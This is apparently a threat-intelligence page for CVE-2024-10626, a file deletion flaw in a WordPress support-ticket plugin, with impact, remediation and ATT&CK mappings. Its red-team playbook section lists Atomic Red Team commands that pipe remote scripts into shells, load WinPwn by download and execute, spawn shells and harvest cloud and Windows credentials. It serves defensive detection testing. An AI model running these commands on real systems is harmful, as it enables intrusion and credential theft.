CVE-2024-10626
Overview
This vulnerability is an arbitrary file deletion flaw caused by insufficient validation of file paths in the delete_uploaded_file() function within the WooCommerce Support Ticket System plugin. The root cause is a directory traversal weakness that allows manipulation of file path inputs. The affected component is the file deletion mechanism handling user-uploaded files in all plugin versions up to and including 17.7.
Vulnerability Description
The WooCommerce Support Ticket System plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_uploaded_file() function in all versions up to, and including, 17.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An attacker with authenticated access at Subscriber level or above can delete arbitrary files on the server, potentially disrupting website functionality or enabling remote code execution by removing critical files such as wp-config.php. This requires no user interaction beyond authentication and network access to the WordPress environment. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) reflects network attack with low complexity, requiring privileges but no user interaction, resulting in high confidentiality, integrity, and availability impact.
Solution
Users should upgrade the WooCommerce Support Ticket System plugin to a version later than 17.7 where this vulnerability is addressed. Detailed patch instructions and updates are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/eeb2c829-579f-41e2-ad5f-8e4fc125d980. No official workaround is documented; applying the vendor-provided update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WooCommerce Support Ticket System plugin for WordPress stems from inadequate validation of file paths within the delete_uploaded_file() function. This oversight allows authenticated users with Subscriber-level access or higher to delete arbitrary files from the server. The lack of stringent checks on the file paths means that an attacker can manipulate requests to target sensitive files, potentially leading to severe consequences, including remote code execution. The issue is particularly critical as it affects all versions up to and including 17.7, leaving a significant window of exposure for users who have not updated their installations.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to the plugin's functionality to craft a malicious request that targets a specific file on the server. For instance, by manipulating the parameters sent to the delete_uploaded_file() function, an attacker could aim to delete essential files like wp-config.php, which contains sensitive configuration settings and database credentials. Once this file is removed, the attacker could gain complete control over the WordPress installation, leading to further exploitation, data breaches, or the installation of malicious code.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on WordPress for their online presence. The ability to delete critical files not only jeopardizes the integrity and availability of the website but also poses significant risks to sensitive data. If an attacker successfully executes a deletion of configuration files, they could potentially access the database, extract customer information, or even deploy malware. The business risk extends beyond immediate financial loss; it can also damage reputation, erode customer trust, and attract regulatory scrutiny, especially if personal data is compromised.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular updates and patches for the WooCommerce Support Ticket System plugin must be prioritized to ensure that any known vulnerabilities are addressed promptly. Additionally, employing a web application firewall (WAF) can help filter out malicious requests aimed at exploiting this flaw. Monitoring server logs for unusual file deletion activities can also serve as an early warning system, allowing administrators to respond swiftly to potential breaches. Furthermore, restricting user permissions to only what is necessary can minimize the attack surface, reducing the likelihood of exploitation by lower-privileged users.
In conclusion, the vulnerability in the WooCommerce Support Ticket System plugin highlights the critical need for robust security practices in web applications. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. Implementing effective detection and mitigation strategies will not only safeguard sensitive data but also enhance the overall security posture of the WordPress environment. Regular security assessments and adherence to best practices are essential in maintaining a resilient defense against evolving cyber threats.
The CVSS score for CVE-2024-10626 has been revised upward from 8.1 to 8.8, reflecting a reassessment of the vulnerability’s impact and exploitability. This adjustment underscores a heightened recognition of the risk posed by the arbitrary file deletion flaw in the WooCommerce Support Ticket System plugin, particularly given the low privilege level required for exploitation and the potential for remote code execution via deletion of critical files like wp-config.php. CSURFACE threat intelligence indicates that while the EPSS score remains stable, the vulnerability now ranks in the 96th percentile for exploit likelihood, signaling sustained interest and potential targeting by threat actors. Although no new exploit techniques or active campaigns have been detected by our telemetry, the increased severity score should prompt defenders to reassess their exposure and prioritize monitoring around this plugin. The elevated CVSS score also suggests that the vulnerability’s impact on confidentiality, integrity, and availability is more severe than previously assessed, thereby raising the overall threat level and reinforcing the criticality of timely patching and detection efforts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vanquish | Woocommerce Support Ticket System | All |
cpe:2.3:a:vanquish:woocommerce_support_ticket_system:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10626 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/eeb2c829-579f-41e2-ad5f-8e4fc125d980?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/woocommerce-support-ticket-system/17930050 |